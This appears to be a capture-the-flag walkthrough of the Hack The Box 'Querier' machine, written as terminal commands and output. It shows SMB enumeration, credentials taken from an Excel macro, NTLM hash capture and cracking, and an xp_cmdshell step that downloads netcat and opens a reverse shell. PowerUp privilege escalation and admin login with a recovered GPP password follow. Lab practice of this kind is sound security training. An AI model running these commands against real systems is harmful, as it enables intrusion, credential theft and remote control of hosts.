SMB ENUM

EXCEL FILE

OLETOOLS

MSSQLCLIENT.py

RESPONDER

POWERUP.PS1

PSEXEC.PY

root@kali:/home/kali/Desktop/htb/querier# smbclient --list //querier.htb/ -U ""

Enter WORKGROUP\'s password:

Sharename	Type	Comment
ADMIN$	Disk	Remote Admin
C$	Disk	Default share
IPC$	IPC	Remote IPC
Reports	Disk	

root@kali:/home/kali/Desktop/htb/querier# smbclient //querier.htb/Reports -U ""

smb: \> get "Currency Volume Report.xlsm"

getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (27.5 KiloBytes/sec) (average 27.5 KiloBytes/sec)

root@kali:/home/kali/Desktop/htb/querier# file 'Currency Volume Report.xlsm'

Currency Volume Report.xlsm: Microsoft Excel 2007+

sudo -H pip install -U oletools

root@kali:/home/kali/Desktop/htb/querier# olevba 'Currency Volume Report.xlsm'

olevba 0.55.1 on Python 2.7.18 - http://decalage.info/python/oletools

==========

FILE: Currency Volume Report.xlsm

Type: OpenXML

Error: [Errno 2] No such file or directory: 'xl/vbaProject.bin'.

VBA MACRO ThisWorkbook.cls

in file: xl/vbaProject.bin - OLE stream: u'VBA/ThisWorkbook'

- -

```
' macro to pull data for client volume reports
'
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL
Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"

  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub
```

VBA MACRO Sheet1.cls

in file: xl/vbaProject.bin - OLE stream: u'VBA/Sheet1'

- -

(empty macro)

+----------+--------------------+--+

|Type |Keyword |Description |

+----------+--------------------+--+

|Suspicious|Open |May open a file |

|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |

| | |used to obfuscate strings (option --decode to|

| | |see all) |

conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"

MSSQL

root@kali:/home/kali/Desktop/htb/querier# mssqlclient.py reporting@querier.htb -db volume -windows-auth

root@kali:/home/kali/Desktop/htb/querier# responder -I tun0

SQL> EXEC MASTER.sys.xp_dirtree '\\10.10.14.27\fakeshare'

RESPONDER

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.10.125

[SMB] NTLMv2-SSP Username : QUERIER\mssql-svc

[SMB] NTLMv2-SSP Hash   : mssql-svc::QUERIER:054d59f2a713d587:1DD6840B6901C50662D33876DE069504:0101000000000000C0653150DE09D20143CD6FE8291BC024000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C00030034005700490040E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C00050014005300 4D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000000300000B7EEB07EF4D5E458BFE782A65986898B85083C151ABF10F9612018A5A0B321B30A0010000000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320037000000000000000000000000

root@kali:/home/kali/Desktop/htb/querier# john --wordlist=/usr/share/wordlists/rockyou.txt mssql-hash.txt

corporate568   (mssql-svc)

root@kali:/home/kali/Desktop/htb/querier# mssqlclient.py mssql-svc@querier.htb -db volume -windows-auth

SQL> enable_xp_cmdshell

SQL> EXEC xp_cmdshell 'whoami'

root@kali:/home/kali/Desktop/htb/querier# python -m SimpleHTTPServer 80

SQL> EXEC xp_cmdshell 'powershell.exe Invoke-WebRequest -o C:\Users\mssql-svc\appdata\local\temp\nc.exe http://10.10.14.27/nc.exe'

root@kali:/home/kali/Desktop/htb/querier# nc -nlvp 1337

SQL> EXEC xp_cmdshell 'C:\Users\mssql-svc\appdata\local\temp\nc.exe -e cmd.exe 10.10.14.27 1337'

SHELL GAINED!!!!!

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

POWERUP.PS1

root@kali:/home/kali/Desktop/htb/querier# python -m SimpleHTTPServer 80

C:\Users\mssql-svc\Desktop>powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.27/powerup.ps1','C:\Users\mssql-svc\Desktop\powerup.ps1')"

C:\Users\mssql-svc\Desktop>powershell -exec bypass

PS C:\Users\mssql-svc\Desktop> Import-Module powerup.ps1

Import-Module powerup.ps1

Import-Module : The specified module 'powerup.ps1' was not loaded because no valid module file was found in any module

directory.

At line:1 char:1

+ Import-Module powerup.ps1

+ ~~~~~~~~~~~~~~~~~~~~~~~~~

    + CategoryInfo   : ResourceUnavailable: (powerup.ps1:String) [Import-Module], FileNotFoundException

    + FullyQualifiedErrorId : Modules_ModuleNotFound,Microsoft.PowerShell.Commands.ImportModuleCommand

PS C:\Users\mssql-svc\Desktop> ./powerup.ps1

./powerup.ps1

PS C:\Users\mssql-svc\Desktop> .\powerup.ps1

.\powerup.ps1

PS C:\Users\mssql-svc\Desktop> . .\powerup.ps1

. .\powerup.ps1

```
PS C:\Users\mssql-svc\Desktop> Invoke-AllChecks

Invoke-AllChecks


[*] Running Invoke-AllChecks



[*] Checking if user is in a local group with administrative privileges...



[*] Checking for unquoted service paths...



[*] Checking service executable and argument permissions...



[*] Checking service permissions...



ServiceName   : UsoSvc

Path          : C:\Windows\system32\svchost.exe -k netsvcs -p

StartName     : LocalSystem

AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'

CanRestart    : True



[*] Checking %PATH% for potentially hijackable DLL locations...
```

ModifiablePath   : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps

IdentityReference : QUERIER\mssql-svc

Permissions   : {WriteOwner, Delete, WriteAttributes, Synchronize...}

%PATH%   : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps

AbuseFunction   : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

[*] Checking for AlwaysInstallElevated registry key...

[*] Checking for Autologon credentials in registry...

[*] Checking for modifidable registry autoruns and configs...

[*] Checking for modifiable schtask files/configs...

[*] Checking for unattended install files...

UnattendPath : C:\Windows\Panther\Unattend.xml

[*] Checking for encrypted web.config strings...

[*] Checking for encrypted application pool and virtual directory passwords...

[*] Checking for plaintext passwords in McAfee SiteList.xml files....

[*] Checking for cached Group Policy Preferences .xml files....

Changed : {2019-01-28 23:12:48}

UserNames : {Administrator}

NewName : [BLANK]

Passwords : {MyUnclesAreMarioAndLuigi!!1!}

File : C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml

root@kali:/home/kali/Desktop/htb/querier# psexec.py Administrator:'MyUnclesAreMarioAndLuigi!!1!'@querier.htb

ROOTED!!!!